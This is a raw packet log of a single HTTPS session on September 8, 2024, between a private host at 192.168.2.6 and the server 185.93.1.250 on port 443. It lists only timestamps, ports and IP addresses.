Sep 8, 2024 09:53:32.379383087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.379429102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.380553961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.380574942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.380635977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.380635977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.380640984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.381975889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.383245945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.383265018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.383358002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.383362055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.383620977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.465466976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.465507030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.465653896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.465653896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.465662003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.465949059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.465974092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.466000080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.466000080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.466005087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.466065884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.466065884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.466789007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.466806889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.466856956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.466861010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.466878891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.468343019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.468367100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.468420029 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.468420029 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.468425035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.468466997 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.470153093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.470170975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.470227003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.470227003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.470231056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.472132921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.472157001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.472181082 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.472186089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.472230911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.472230911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.552122116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.552151918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.552469969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.552500010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.552520037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.552539110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.552545071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.552550077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.552582026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.552645922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.553437948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.553452015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.553512096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.553523064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.553533077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.553606987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.553607941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.553755045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.553770065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.553853035 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.553857088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.555553913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.555581093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.555649996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.555655003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.555689096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.556509018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.556525946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.556586027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.556586027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.556591988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.556802034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.639074087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.639095068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.639170885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.639170885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.639179945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.639221907 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.639455080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.639470100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.639549017 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.639556885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.639619112 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.639717102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.639731884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.639784098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.639794111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.639825106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.639919043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.639935970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.640037060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.640042067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.640075922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.640306950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.640322924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.640372038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.640382051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.640505075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.640597105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.640610933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.640650988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.640656948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.640702009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.642529964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.642551899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.642640114 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.642640114 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.642647028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.644783020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.644804001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.644855976 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.644855976 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.644864082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.646226883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.726295948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.726327896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.726366043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.726386070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.726421118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.726421118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.726605892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.726629972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.726687908 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.726692915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.726859093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.727857113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.727874994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.727911949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.727921009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.727958918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.727958918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.728290081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.728308916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.728344917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.728353024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.728363991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.728388071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.728388071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.728390932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.728405952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.728465080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.728465080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.728512049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.728530884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.728576899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.728576899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.728580952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.728658915 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.729795933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.729814053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.729859114 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.729863882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.729901075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.729901075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.730707884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.730726957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.730777025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.730782032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.730818987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.730818987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.813219070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.813247919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.813313961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.813337088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.813801050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.813819885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.813868046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.813879013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.813889027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.814543962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.814563036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.814625025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.814625025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.814637899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.814811945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.814827919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.814878941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.814879894 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.814884901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.815063953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.815078020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.815133095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.815134048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.815138102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.815362930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.815378904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.815435886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.815435886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.815440893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.816462994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.816492081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.816524982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.816538095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.816585064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.816585064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.817784071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.817796946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.817869902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.817889929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.817936897 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.900531054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.900562048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.900636911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.900652885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.900859118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.900877953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.900930882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.900930882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.900938034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.901634932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.901648045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.901705980 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.901705980 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.901711941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.901874065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.901892900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.901916981 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.901921988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.901968956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.901968956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.902127981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.902143002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.902179003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.902183056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.902214050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.902214050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.902614117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.902626991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.903670073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.903712988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.903721094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.903721094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.903736115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.903986931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.904937029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.904951096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.905003071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.905003071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.905008078 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.955835104 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.987914085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.987932920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.988040924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.988054991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.988097906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.988214016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.988226891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.988272905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.988277912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.988312006 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.988846064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.988858938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.988914967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.988919973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.988950968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.989469051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.989481926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.989530087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.989535093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.989567995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.989995003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.990009069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.990050077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.990055084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.990087986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.990535021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.990546942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.990590096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.990593910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.990626097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.990885019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.990900993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.990947962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.990952969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.990984917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.992147923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.992165089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.992213011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:32.992217064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:32.992281914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.074553013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.074570894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.074696064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.074716091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.074748039 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.075591087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.075603962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.075655937 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.075661898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.075685024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.075696945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.075705051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.075716019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.075730085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.075767040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.076375961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.076389074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.076438904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.076445103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.076508999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.076728106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.076740980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.076786995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.076793909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.076826096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.077564001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.077575922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.077622890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.077627897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.077661991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.078068972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.078080893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.078130960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.078136921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.078166008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.078653097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.078672886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.078700066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.078705072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.078726053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.078743935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.161768913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.161796093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.161909103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.161919117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.161966085 CEST	49710	443	192.168.2.6	185.93.1.250
